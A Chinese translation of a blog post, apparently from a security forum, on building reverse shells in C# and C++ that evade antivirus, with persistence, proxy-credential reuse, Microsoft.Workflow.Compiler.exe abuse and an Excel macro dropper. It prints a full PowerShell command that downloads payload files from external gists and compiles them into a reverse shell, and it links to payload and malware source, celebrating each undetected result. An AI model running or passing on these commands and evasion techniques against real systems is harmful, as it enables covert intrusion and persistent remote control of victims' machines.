本文主要内容是在目标机器上生成反向shell的不同方法的技术概述。

简介

2017年12月,窝写了一篇关于在内存中执行PowerShell脚本,从而达到一些可能的内部攻击的文章,这些脚本在几个月前没有被主要的杀毒软件检测到。在这几个月中,在通知所有的供应商之后,他们把这玩意加到了样本里,所以之前的GG了。在我的文章中使用的各种攻击中,通过直接在内存中执行的powersploit脚本得到一个反向shell,目前大多数AV供应商都会检测到这些攻击但是......

但如果使用C ++/C#写的程序或其他的东西完成同样的行为会咋样?

ps:其实以前国内的师傅也说到过,通过自己编写脚本,也可以让杀软检测不到。

攻击手法索引:

  • 使用C#代码程序在目标计算机上反弹一个shell并绕过AV。
  • 使用C ++代码并绕过AV在目标计算机上得到一个具有持久性的shell。
  • 使用代理凭据通过Internet反弹一个 C#Reverse Shell
  • 使用Microsoft.Workflow.Compiler.exeC#配合反弹一个Reverse Shell
  • 通过PowerShell和C#组合反弹Shell
  • 通过Excel宏,PowerShell和C#组合反弹Shell

C#简单的反弹Shell代码编写

在github上可以看到有很多C#代码示例,可以通过cmd.exe反弹shell。在这种情况下,我复制了部分代码并使用了以下简单的C#程序。没有bypass,没有持久性,没有隐藏性,只有简单的打开套接字并在受害者机器上启动cmd.exe

ps:译者复现的时候是用vscode,安装c#插件即可。参考https://blog.csdn.net/qq_40197828/article/details/79396818

vscode编译:我觉得也有和我一样不知道怎么编译的。2333
    dotnet build -r win-x64

编译后也没拦截

嗯呢,Windows Defender的显示这个exe文件是干净的。AV端显示尚未执行任何恶意操作。对我们来说,nice。

在目标机器执行:

执行文件cmd实例对用户是可见的,如果提示窗口关闭,则shell将发生相同的情况。
ps:肯定一端关闭另外就会断开,考虑一下持久化的问题。QAQ

病毒检测结果:

https://www.virustotal.com/#/file/983fe1c7d4cb293d072fcf11f8048058c458a928cbb9169c149b721082cf70aa/detection

C++反向shell加点持久性

我想深入研究一下,发现不同的C++代码可以实现上面所说的功能,但其中一个引起了我的注意。特别是我发现@NinjaParanoid的代码可以获得有持久性强一些的反向shell。下面是代码的一些细节。有关所有详细信息,请转到原始文章

这个脚本有三个主要优点:

  • 通过while循环尝试在5秒后重新连接
  • 隐藏cmd
    • 如果攻击者ip改变,则会接受参数

源代码link:https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp

编译代码后,使用Windows Defender对这个exe进行了扫描,未检测到任何威胁。此时,exe的行为是在恶意和非恶意之间的边界点。前面说过,只要您运行该文件,shell将在5秒后反弹回来。

在客户端,屏幕上不显示任何内容。如果出现问题,后台进程每5秒会自动重新连接到Kali。

病毒查杀结果:

link:https://www.virustotal.com/#/file/a7592a117d2ebc07b0065a6a9cd8fb186f7374fae5806a24b5bcccd665a0dc07/detection

使用代理凭据通过Internet反弹C# Shell

一个关于如何利用代理凭证从内部公司网络在互联网上反弹一个shell的思考,让我开发了以下代码:

  • 在没有管理员权限的情况下结合peewpw脚本从Credential Manager dump代理凭据(如果存在)
  • 在Base64中编码dump的凭据
  • 将它们插入代理授权连接。

......就是这样......

...在编译代码之前,您只需要目标公司的代理IP/PORT。考虑到安全原因,我无法共享源代码以避免被恶意利用,但如果您有一点编程技巧,你可以自己编写。但是很显然,这个攻击方法的失败率非常高,因为目标可能没有在凭据管理器上保存域凭据,从而导致攻击失败。

但是,这种情况的话,Windows Defender和其他企业的AV软件未检测到任何威胁,所以还是很OK。

感谢@SocketReve基佬帮我编写这个代码。

将Microsoft.Workflow.Compiler.exe运用到C#中 ---> Reverse Shell

我深入查找了一些文章,我找到了不同的骚操作,主要是讨论Microsoft.Workflow.Compiler.exe任意未签名的代码执行。
这里的文章:[1] (https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb)- 2 - 3

通过这些文章,我在想...为什么不使用这种技术来用C#编写反弹shell的脚本?

总之呢,文章讨论了如何利用Microsoft.Workflow.Compiler.exe服务然后运用到C#代码中。这是一个命令的示例:

REV.txt必须具有以下XOML结构:

下面你会发现你将要编译的C#代码的RAW结构(与上面我介绍的csharp反弹shell的代码一样):

运行该命令后,会发生以下情况:

C#源代码是从Rev.Shell文件中获取的
编译和执行C# payload
反弹shell

通过PowerShell和C# ReverseShell

在这一点上,我想的是......假如将这是一次真实的攻击,红队下一步要做什么?

通过Microsoft.Workflow.Compiler.exe编译的文件很简单,为何不使用powershell?

powershell -command“&{(New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt','。\ REV.txt')} “&& powershell -command”&{(New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell','。\ Rev.Shell' }}“&& C:\ Windows \ Microsoft.Net \ Framework64 \ v4.0.30319 \ Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

使用这个ps命令,PS将下载上述两个文件并将其保存在系统中。之后它会立即调用Microsoft.Workflow.Compiler.exe来编译C#代码并反弹shell。
links:
PowerShell命令:https://gist.githubusercontent.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f/raw/7806b5c9642bdf39365c679addb28b6d19f31d76/PowerShell_Command.txt

REV.txt代码  :https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
Rev.Shell代码: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

PS启动后,reverse shell执行了,但是却不能够被检测到。

通过Excel宏,PowerShell和C# Revese Shell

作为这系列攻击手法的最后一个骚操作,我想在宏中插入刚刚说的Powershell代码......猜猜看,嘤嘤嘤?

这个文件没有被检测为恶意文件,并且在没有任何警报的情况下反弹了shell。

检测:

get shell:

病毒检测结果

https://www.virustotal.com/#/file/e81fe80f61a276d216c726e34ab0defc6e11fa6c333c87ec5c260f0018de89b4/detection

许多检测都涉及到启动PowerShell的宏,而不是实际的行为。这说明着如果我们能够对代码进行混淆或者使用其他服务来下载这两个文件,则可以绕过AV,反弹shell,如上所示。

结论

通过以不同方式编写了几个反弹shell的代码,本文主要希望能够绕过反病毒软件,检测不到我们的行为。对于市场上的所有AV,前两个反弹shell的代码完全无法检测到。与恶意宏相关的签名仅仅涉及利用了PowerShell,而不是真正利用了微软服务。

关键的是,使用Microsoft.Workflow.Compiler.exe的任意代码执行技术仅依赖于调用命令的能力,而不依赖于PowerShell。我们没必要使用可能由反病毒软件的安全解决方案检测和阻止的某些PowerShell技术。但您可以获得一些绕过应用程序白名单和混淆我们的行为的新方法等好处。也就是说,当利用Microsoft.Workflow.Compiler.exe时,将创建一个临时DLL并可能被防病毒软件检测到。

所有这些都表明,由于趋势,我们似乎可能会开始看到越来越多的攻击是利用C#C#和PowerShell的组合。

[原文链接](https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15)

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖